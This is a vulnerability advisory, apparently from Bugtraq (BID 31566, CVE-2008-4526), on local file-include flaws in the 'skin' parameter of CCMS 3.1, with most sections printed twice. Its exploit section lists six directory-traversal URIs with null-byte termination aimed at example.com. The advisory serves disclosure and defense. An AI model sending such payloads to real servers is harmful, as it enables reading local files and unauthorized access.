CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
BID:31566
Info
CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
| Bugtraq ID: | 31566 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4526 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 03 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | SirGod |
| Vulnerable: |
Mikel Dean CCMS 3.1 |
| Not Vulnerable: | |
Discussion
CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
CCMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
CCMS 3.1 is vulnerable; other versions may also be affected.
CCMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
CCMS 3.1 is vulnerable; other versions may also be affected.
Exploit / POC
CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/index.php?skin=../../../../autoexec.bat%00
http://www.example.com/forums.php?skin=../../../../autoexec.bat%00
http://www.example.com/admin.php?skin=../../../../autoexec.bat%00
http://www.example.com/header.php?skin=../../../../autoexec.bat%00
http://www.example.com/pages/story.php?skin=../../../../../autoexec.bat%00
http://www.example.com/pages/poll.php?skin=../../../../../autoexec.bat%00
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/index.php?skin=../../../../autoexec.bat%00
http://www.example.com/forums.php?skin=../../../../autoexec.bat%00
http://www.example.com/admin.php?skin=../../../../autoexec.bat%00
http://www.example.com/header.php?skin=../../../../autoexec.bat%00
http://www.example.com/pages/story.php?skin=../../../../../autoexec.bat%00
http://www.example.com/pages/poll.php?skin=../../../../../autoexec.bat%00
Solution / Fix
CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
CCMS 'skin' Parameter Multiple Local File Include Vulnerabilities
References:
References:
- CCMS Homepage (Mikel Dean)